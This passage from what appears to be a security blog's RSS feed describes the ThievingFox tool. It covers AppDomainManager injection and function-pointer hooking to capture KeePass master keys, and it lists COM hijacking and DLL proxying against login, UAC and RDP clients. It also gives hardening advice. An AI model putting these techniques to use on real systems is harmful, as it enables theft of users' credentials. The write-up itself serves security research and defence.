virtual machine within a process. As such, a process can contain multiple &lt;code&gt;AppDomains&lt;/code&gt;, to host different applications withing the same process.&#xA;An &lt;code&gt;AppDomainManager&lt;/code&gt; is a managed library that controls how &lt;code&gt;AppDomains&lt;/code&gt; are created, destroyed, etc. within a process.&lt;/p&gt;&#xA;&lt;p&gt;What&amp;rsquo;s interesting about &lt;code&gt;AppDomainManagers&lt;/code&gt; is that they can be specified in the config file that is shipped with .NET Framework application, as stated in the &lt;a href=&#34;https://learn.microsoft.com/en-us/dotnet/framework/configure-apps/file-schema/runtime/appdomainmanagerassembly-element&#34;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The only target application (for now) written in .NET Framework is KeePass.&lt;/p&gt;&#xA;&lt;p&gt;ThievingFox edits the configuration file to add an &lt;code&gt;AppDomainManager&lt;/code&gt;, which points to our hooking library:&lt;/p&gt;&#xA;&lt;div class=&#34;figure&#34;&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://blog.slowerzs.net/images/ThievingFox/appdomainmanager_injection.png&#34; alt=&#34;Edited KeePass.exe.config&#34;&gt;&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;h4 id=&#34;hooking-keepass&#34;&gt;Hooking KeePass&lt;/h4&gt;&#xA;&lt;p&gt;Unlike native application, hooking the main binary itself is possible : reflection enables us to find functions inside the main assembly that receives the credentials, without any byte-pattern to identify functions.&lt;/p&gt;&#xA;&lt;p&gt;The actual hooking is also different: the function that we will be hooking is a function written in .NET, so it will be much easier to manipulate its arguments if our hook is also in managed code.&lt;/p&gt;&#xA;&lt;div class=&#34;figure&#34;&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://blog.slowerzs.net/images/ThievingFox/keepass_poisoning.png&#34; alt=&#34;Image of KeePass masterkey and keyfile retreived with ThievingFox&#34;&gt;&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;To perform the patch we retrieve the native function pointer associated with the &lt;code&gt;Method&lt;/code&gt; objects associated with the hook and the target function, and simply switch the pointers.&lt;/p&gt;&#xA;&lt;p&gt;Before switching pointers, we ask the CLR to JIT-compile the hook and the target function, to ensure they are implemented in native code and are not emulated by the CLR VM, and do not move in memory. I also ensure that both the hook and the original function have the same prototype, to be able to manipulate the arguments.&lt;/p&gt;&#xA;&lt;p&gt;This has a downside : previous versions of the CLR runtime would not necessarily work the same way and as such, switching functions pointers like this might not work. Luckily, most recent versions of .NET frameworks behave this way. Sanity checks have been added to ensure that if we cannot retrieve a correct function pointer, nothing happens.&lt;/p&gt;&#xA;&lt;h2 id=&#34;hardening&#34;&gt;Hardening&lt;/h2&gt;&#xA;&lt;p&gt;So what can be done about it ?&lt;/p&gt;&#xA;&lt;p&gt;The general stance, at least for &lt;a href=&#34;https://keepass.info/help/base/security.html&#34;&gt;KeePass&lt;/a&gt; and &lt;a href=&#34;https://keepassxc.org/blog/2019-02-21-memory-security/&#34;&gt;KeePassXC&lt;/a&gt;, is that if a malicious application is running on the computer, there is nothing that can be done about it.&lt;/p&gt;&#xA;&lt;p&gt;KeePassXC takes a measure against &amp;ldquo;active&amp;rdquo; injections: it modifies the ACL of its own process handle, to deny access to everyone, including the current user - &lt;a href=&#34;https://github.com/keepassxreboot/keepassxc/blob/884386c924192902dc9500a58f9cbdfe22a0a4fd/src/core/Bootstrap.cpp#L121&#34;&gt;relevant source code&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;While this does not prevent privileged users from getting a handle the KeePassXC by using the &lt;code&gt;SeDebugPrivilege&lt;/code&gt;, it is a good measure if a low-privileged user is using KeePassXC and this same user is also running a malicious application.&lt;/p&gt;&#xA;&lt;p&gt;KeePass has the same feature, although the configuration option &lt;code&gt;Configuration/Security/ProtectProcessWithDacl&lt;/code&gt; must be configured manually, as stated in the &lt;a href=&#34;https://keepass.info/help/v2_dev/customize.html#opt&#34;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Some applications, like Chrome, prevent passive injections by enforcing that all DLL are Microsoft-signed, using &lt;a href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-process_mitigation_binary_signature_policy&#34;&gt;&lt;code&gt;PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY&lt;/code&gt;&lt;/a&gt;. This would require that all dependencies used by the applications are signed, and would prevent the use of third-party plugins.&#xA;However, several &lt;a href=&#34;https://gist.github.com/mgeeky/6ce72a464a691f5c105fffa1bddab301&#34;&gt;other&lt;/a&gt; &lt;a href=&#34;https://blog.quarkslab.com/post-exploitation-abusing-the-keepass-plugin-cache.html&#34;&gt;techniques&lt;/a&gt; exist to force KeePass to export unencrypted database, without injection.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately Windows does not offer any mechanism other than PPL for Anti-Malware (that I know of) to protect sensitives third-party user-mode applications.  As such, credentials manager, cannot benefit from this. VirtualBox tries to emulate this protection mechanism, but this requires a device driver and complex user mode &lt;a href=&#34;https://www.virtualbox.org/browser/vbox/trunk/src/VBox/HostDrivers/Support/SUPR3HardenedMain.cpp#L168&#34;&gt;code&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;whats-next&#34;&gt;What&amp;rsquo;s next&lt;/h3&gt;&#xA;&lt;p&gt;As of the publication of this article, the following applications are targeted by &lt;code&gt;ThievingFox&lt;/code&gt; :&lt;/p&gt;&#xA;&lt;div class=&#34;overflow-table&#34;&gt;&#xD;&#xA;&#x9;  &lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Application&lt;/th&gt;&#xA;          &lt;th&gt;Injection Method&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;KeePass.exe&lt;/td&gt;&#xA;          &lt;td&gt;AppDomainManager Injection&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;KeePassXC.exe&lt;/td&gt;&#xA;          &lt;td&gt;DLL Proxying&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;LogonUI.exe (Windows Login Screen)&lt;/td&gt;&#xA;          &lt;td&gt;COM Hijacking&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;consent.exe (Windows UAC Popup)&lt;/td&gt;&#xA;          &lt;td&gt;COM Hijacking&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;mstsc.exe (Windows default RDP client)&lt;/td&gt;&#xA;          &lt;td&gt;COM Hijacking&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;RDCMan.exe (Sysinternals&amp;rsquo; RDP client)&lt;/td&gt;&#xA;          &lt;td&gt;COM Hijacking&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;MobaXTerm.exe (3rd party RDP client)&lt;/td&gt;&#xA;          &lt;td&gt;COM Hijacking&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&#xD;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;For future versions of &lt;code&gt;ThievingFox&lt;/code&gt;, I intend to target other applications. In particular, credential managers that use the Electron Framework ;)&lt;/p&gt;&#xA;&lt;h2 id=&#34;related-work&#34;&gt;Related work&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/GhostPack/KeeThief&#34;&gt;KeeThief&lt;/a&gt; on retrieving credentials from running KeePass processes - by &lt;a href=&#34;https://twitter.com/tifkin_&#34;&gt;Lee Chagolla-Christensen&lt;/a&gt; and &lt;a href=&#34;https://twitter.com/harmj0y&#34;&gt;Will Schroeder&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Mimikatz&amp;rsquo;s &lt;code&gt;ts::mstsc&lt;/code&gt; &lt;a href=&#34;https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_ts.c#L335&#34;&gt;module&lt;/a&gt; on retrieving credentials from running mstsc processes - by &lt;a href=&#34;https://twitter.com/gentilkiwi&#34;&gt;Benjamin Delpy&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/&#34;&gt;RDPThief&lt;/a&gt; on hooking mstsc.exe to capture credentials - by &lt;a href=&#34;https://twitter.com/0x09al&#34;&gt;Rio Sherri&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/holly-hacker/KeePassHax&#34;&gt;KeePassHax&lt;/a&gt; on retrieving KeePass masterkeys in memory - by &lt;a href=&#34;https://github.com/holly-hacker&#34;&gt;holly-hacker&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</description>
    </item>
  </channel>
</rss>
